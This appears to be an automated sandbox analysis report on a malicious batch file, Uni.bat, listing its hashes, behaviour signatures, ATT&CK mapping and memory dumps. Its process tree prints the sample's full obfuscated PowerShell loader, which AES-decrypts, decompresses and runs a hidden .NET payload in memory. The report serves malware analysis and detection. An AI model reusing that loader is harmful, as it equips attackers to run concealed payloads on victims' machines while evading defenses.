d05dd87b7ce909f8f3f85607f9546bcbe1168a507955c4d504d8c83f02d9a909

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28-11-2024 17:24

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General

Target

Uni.bat
Size

10.4MB
MD5

2cc589a27044382be0ec55f23f36fa41
SHA1

4edc18c1b0e3558086e86d4e5c344fc9bed8d97c
SHA256

d05dd87b7ce909f8f3f85607f9546bcbe1168a507955c4d504d8c83f02d9a909
SHA512

baf948e4257cda2a0c30e9663448e884d40d844cc0f15cb64a9a2ccc40c12d1bdf1b5808d80b19c0f401478504468669d44edcdf0153f88d1b3ceb3303656045
SSDEEP

49152:C/JouIj6nHI8l5lK7g/JLyDX7YVDazqMdubv+JrncVzgH+60gF4SLF+pHGwhESAG:K

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2728	Uni.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2664	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2728	Uni.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2728	Uni.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2664 wrote to memory of 2728	2664	cmd.exe	31
PID 2664 wrote to memory of 2728	2664	cmd.exe	31
PID 2664 wrote to memory of 2728	2664	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
  "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $ESXom = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($nboag in $ESXom) { if ($nboag.StartsWith(':: ')) { $BVaSZ = $nboag.Substring(3); break; }; };$kCmVw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($BVaSZ);$eLFSC = New-Object System.Security.Cryptography.AesManaged;$eLFSC.Mode = [System.Security.Cryptography.CipherMode]::CBC;$eLFSC.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$eLFSC.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5l57QE5S9Q7zd5+Bh+XnYYwwzIwQ2OWrX6FXvhoqhNU=');$eLFSC.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X69qeK5Q4la2LJmbSRyhJQ==');$SCino = $eLFSC.CreateDecryptor();$kCmVw = $SCino.TransformFinalBlock($kCmVw, 0, $kCmVw.Length);$SCino.Dispose();$eLFSC.Dispose();$GnclG = New-Object System.IO.MemoryStream(, $kCmVw);$kxUUr = New-Object System.IO.MemoryStream;$vPwQV = New-Object System.IO.Compression.GZipStream($GnclG, [IO.Compression.CompressionMode]::Decompress);$vPwQV.CopyTo($kxUUr);$vPwQV.Dispose();$GnclG.Dispose();$kxUUr.Dispose();$kCmVw = $kxUUr.ToArray();$pGoAa = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($kCmVw);$ZaIus = $pGoAa.EntryPoint;$ZaIus.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\Uni.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2728-5-0x000007FEF646E000-0x000007FEF646F000-memory.dmp

Filesize
4KB

Download
memory/2728-6-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2728-7-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2728-8-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-9-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-10-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-11-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

Filesize
9.6MB

Download